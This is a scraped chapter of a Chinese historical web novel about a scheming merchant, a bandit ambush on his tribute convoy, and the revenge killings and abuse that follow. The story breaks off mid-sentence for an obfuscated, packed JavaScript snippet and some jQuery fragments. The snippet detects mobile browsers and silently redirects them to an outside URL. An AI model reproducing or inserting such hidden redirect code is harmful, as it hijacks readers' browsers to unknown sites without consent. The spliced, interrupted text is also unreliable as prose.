11. 乌尔格

作品:《伴君游

    王弦高为人精明老辣,心机深沉。十五岁时父亲离世,竟能独掌家业,手段之厉害,远胜常人。此人深谙世情算计之道,每一文钱投下,必知所收回报几何。不止于此,他更善于揣摩权贵心思,言语投其所好,举止迎其心意,使达官贵人分外欢喜。


    此二十余年间,王弦高坐拥良田万顷,铺面千间,府中金银堆积如山,已成为义安郡首富。正应了一句老话:“人无横财不富,马无夜草不肥。”王弦高黑白两道通吃,市井泼皮也敬他三分,如今竟与京中靖安王袁肃长相往来,每逢佳节必进献珍宝奇珍,靖安王竟将此商贾之人纳入麾下。


    适逢靖安王六十大寿,王弦高早早筹谋,备下贺礼:贵重香料十余箱、珍珠玉器百余件、云锦绫罗百余匹,山珍海味更是车载斗量,难以计数,林林总总共计十车之多。


    王弦高细细思量,此礼途经千里,山高水险。如此重礼若有闪失,自己折了颜面事小,断了与靖安王的情谊事大。遂唤了飞鸿镖局的总镖头赵大海,重金相托。赵大海点了三十余名镖师,刀枪剑戟齐备,护着十余车重礼,浩浩荡荡上了路。


    赶路数日后,众人行至一处山谷,忽闻山头上喊杀声四起,只见数十名彪形大汉自山坡上冲下,个个面带凶色,手持刀剑弓弩,来势汹汹。


    赵大海勒住奔马,横刀在手,厉声喝道:“来者何人?敢挡我飞鸿镖局的道?”


    为首一人,身高八尺有余,腰圆膀阔,满脸横肉,手持一把开山大刀狞笑道:“管你是谁,识相的,留下满车货物,大爷我饶你狗命!”


    赵大海勒马上前,冷眼打量那大汉:“这是进献给靖安王贺寿的重礼,你等是何方来路,胆敢拦路抢劫?”


    乌尔格不但不惧,反仰天哈哈大笑:“靖安王?我呸!老子饿得眼冒金星,管他是靖安王还是阎罗王!老子带着兄弟们在这山里苦守多日,就等一条肥鱼上钩!今日撞见你们,合该我乌尔格发财!”


    赵大海见他胸口竟然有土默特部的狼头刺青,心头凛然:“这批货物若有差池,我飞鸿镖局名声不保不说,招惹来朝廷命官,只怕你土默特倾全族之力,也难保无虞。速速退去,免生祸端!”


    乌尔格目露凶光,啐了一口,骂道:“老子走投无路,方落草为寇。今日撞见这破天富贵,若是不取过来,怎对得起寨中嗷嗷待哺的妻儿老小?”言罢,他抬手一挥,喝道:“兄弟们,给我上!”


    土默特人素来凶狠彪悍,眼前这伙贼寇个个骁勇,挥刀直冲镖队,棍棒乱舞,杀气腾腾。赵大海见无可挽回,喝令镖师们拼死抵挡。一时间,车马嘶鸣,刀光剑影中血溅三尺。


    土默特部的劫匪虽悍勇,但毕竟是乌合之众,哪里是这些训练有素的镖师对手?赵大海更是勇猛非常,长枪抖出朵朵枪花,乌尔格与他交手不过数十个回合,便被一□□中肩膀,血流如注,惨叫连连。


    乌尔格挨了一枪,捂着伤口,眼见手下节节败退,心知不敌,带着残众四散奔逃。赵大海喝令镖师停止追赶,命人包扎伤员。


    清点货物后,见损失不大,便整顿队伍,继续赶路。又遣一名镖师快马加鞭,回义安郡传讯于王弦高,


    报信的镖师日夜兼程,赶回义安郡,将山谷遇袭之事一五一十地禀告了王弦高。王弦高眼皮耷拉着,面沉如水:“一群狗东西,坏我大事!”他提笔蘸墨,修书一封,遣快马送往土默特的首领阿拉坦吉图。


    土默特部本是游牧民族,常年受北狄侵扰,近年来仰仗王弦高的资助,方能安然度日。王弦高非但给予粮草银两,更暗中卖出大量良马战刀,助其壮大,如今土默特部实力大增。


    阿拉坦吉图接到信,脸色铁青,问心腹绰扎布:“这乌尔格是谁的人?”


    绰扎布道:“头领,他是逃荒过来的流民,聚众为寇,带着一群亡命之徒四处抢掠,素来不服管教。我曾数次派人警告,他都置若罔闻。”


    阿拉坦吉图咬牙道:“王弦高所求,不过是通商之路平安无阻,一众宵小坏我大事,如今留他不得!你速带人去,务必将乌尔格一伙人尽数诛杀,一个不留!也算是投桃报李,给王弦高一个交代!”


    绰扎布率领五十名精骑,皆身披铠甲,弓箭在手,直奔乌尔格藏身之处。


    乌尔格正与手下围着篝火啃干粮,忽听林外马蹄声急响,绰扎布带人杀到,弓弩齐发,登时便有数名贼寇应声倒地。


    乌尔格大惊失色,丢下手中干粮,拔腿就跑。他伤势未愈,哪里跑得快?只听背后一声弓弦震响,一箭正中后心,他惨叫一声,滚落山崖,生死不明。


    不消半个时辰,刀光闪烁,血流成河,林中只余一地尸首。绰扎布环视四周:“收拾干净,将尸身全部弃于悬崖之下,以绝后患。”


    再说赵大海率领镖队,一路小心翼翼,终于在靖安王寿诞之前抵达京城,将十余车贺礼如数送入王府。靖安王大喜,赏赐颇丰。


    远在数百里之外的义安郡,王弦高后宅。


    王弦高倚在软榻之上,饮酒作乐。身边美妾环伺,个个花枝招展。他得知生辰礼已安全送达靖安王府,亲王甚为满意:"能得亲王他老人家青眼有加,我王弦高日后定能更上一层楼!"王弦高得意洋洋,举杯畅饮。


    一名十八九岁的美妾莲步轻移,为王弦高斟酒,娇声道:"老爷真是好本事,连亲王都对您另眼相看。只是那土默特部粗鄙无礼,却配不上老爷您的大恩大德。"


    王弦高摩挲着美妾姣好的脸颊,面上依旧和颜悦色,笑问道:"娇娇儿,你这话是何意?"


    美妾不察,攀在他身上嗲声道:"妾身只是觉得,土默特部不过是一群贪得无厌的野人,老爷拿着大量银两去资助,实在不值得。"


    "啪"的一声脆响,美妾挨了王弦高一记响亮的耳光,眼见鲜血自嘴角、耳道里流了出来。


    他面色阴沉,目露凶光:"蠢货!闭嘴!"


    美妾倒在地上,吓得呆若木鸡。王弦高一脚踢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150127|164830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出,正中美妾小腹。那美妾一声惨叫,在地上滚了几滚,痛苦不堪。


    "无知贱婢,胆敢窥探妄议老爷的大事?钱四忠,快把她拖下去,重打二十大板!"


    钱四忠上前拖着那美妾便往外走。美妾惊恐万分,连声哀求:"老爷饶命!老爷饶命!奴婢知错了!"她纤纤玉手死抓地面,指甲崩裂,血迹斑斑。


    王弦高冷眼旁观,端起酒盏慢慢饮着,眼前惨状似与他无关。


    只怕几板子下去,这美妾性命难保。环伺在侧的众美人见状,个个噤若寒蝉。


    却说义安王府中,执事来报:"郡守刘希亮求见。"


    袁晁只道:"请进来。"


    刘希亮入内,神情愁苦。袁晁见状,笑问:"郡内太平,刘大人怎如此愁眉不展?"


    刘希亮躬身道:"王爷,下官刚接到探子密报,土默特部落内讧,一名叫乌尔格的部众被追杀,生死不明。"


    袁晁奇道:"乌尔格?此人何等样人?他被追杀,与你何干?"


    刘希亮忙道:"他是土默特部一游散之民,后聚众成寇。前些日子,他拦截王弦高进献给靖安亲王寿礼的车队,未遂后被部族头领阿拉坦吉图派人追杀。"


    袁晁抬头瞥了刘希亮一眼:"哦?你是说他可能没死?潜逃到义安郡来了?"


    刘希亮叹口气:"王爷明鉴,乌尔格虽是土默特人,却并非听命于阿拉坦吉图。阿拉坦吉图近年来与王弦高往来密切,其部落军力大增,多是仰仗王弦高的相帮。为了讨好王弦高,阿拉坦吉图命人诛杀了乌尔格部众。若是乌尔格逃到义安郡,只怕是来向王弦高寻仇啊。王爷常驻义安郡封地,我担心王爷与境内百姓安危,辗转难眠!"


    袁晁看着刘希亮,似笑非笑。他和王弦高居于义安郡境内,只怕刘希亮日日难安。刘希亮已做了多年郡守,却太知洞明世事,练达人情。


    刘希亮艰难开口:"王弦高多年来以低价卖与土默特大量盐铁,暗中牟利。而后,又以土默特部的名义,高价将战马卖给朝廷,中间差价尽入其囊。此一来一往,国库白白流失银两无数,"


    听完刘希亮的话,他只是似叹非叹道:"好一个两头通吃的买卖!商人逐利,说句不中听的,有奶就是娘!王弦高眼里只有钱财,他就是一国贼,哪会考虑我大晋边境的安稳?"


    刘希亮满面愁容:“王三宝发妻日日守在衙门口,跪求下官问斩王贤高,为王三宝报仇。王三宝一案没有确凿证据,只怕会是一桩无头案了。"再叹口气,他忧心忡忡:"而今王弦高与靖安王交厚,有老亲王的庇佑,他愈发嚣张跋扈。"


    袁晁静默片刻,道:"若贸然拿人,恐生枝节。不若先安抚王三宝家人,再暗访更多证据,待铁证如山,再将其拿下。"


    刘希亮亦附和道:"况且此事或涉及朝中重臣,下官不敢擅专……"


    袁晁打量刘希亮半晌,忽然大笑:"刘大人所言极是。此事须得谋定而后动。"